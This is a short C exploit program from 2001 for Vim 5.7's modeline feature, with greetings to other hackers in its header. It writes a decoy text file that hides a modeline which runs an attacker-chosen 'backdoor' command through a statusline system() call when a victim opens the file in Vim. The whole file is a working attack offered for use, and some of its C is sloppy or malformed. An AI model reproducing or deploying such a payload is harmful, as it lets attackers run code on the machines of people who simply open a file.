/*
  Vim Exploit
  Dedicated to Angela :> 

  Sorry about the bitchy code :> but it works :>

  shoutz go to: #makhack, al3x,slash,netzero,psx-one,sniper,
                atko,tryasin1,cvele,preedator and everybody
                i forgot sorry :>
  ++StYx
  styx(at)mal(dot)tebank(dot)com(dot)mk
*/

#include <stdio.h>

int main(int argc, char **argv){
  FILE *fp;
  char filename[20] = "Test.txt";
  char angela[55] = "vim:ls=2:stl=%{system(";
  char kraj[5] = ")}\n";
  
  if (argc < 2 ) {
    printf("\nUsage : %s <path backdoor>\n",argv[0]);
    printf("Example : %s /home/ftp/incoming/mybackdoor\n\n");
    exit(1);
  }
  if ((fp = fopen(filename,"w")) == NULL) {
    fprintf("Error",filename);
    exit(1);
  }
  strcat(angela,argv[1]);
  strcat(angela,kraj);
  fprintf(fp," VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n");
  fprintf(fp," VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n");
  fprintf(fp," VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n");
  fprintf(fp,angela);
  fprintf(fp," VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n");
  fprintf(fp," VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n");
  fprintf(fp," VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST  VIM 5.7 TEST\n");
  fprintf(fp,"=======================================================\n");
  fclose(fp);
}
/*                www.hack.co.za           [19 April 2001]*/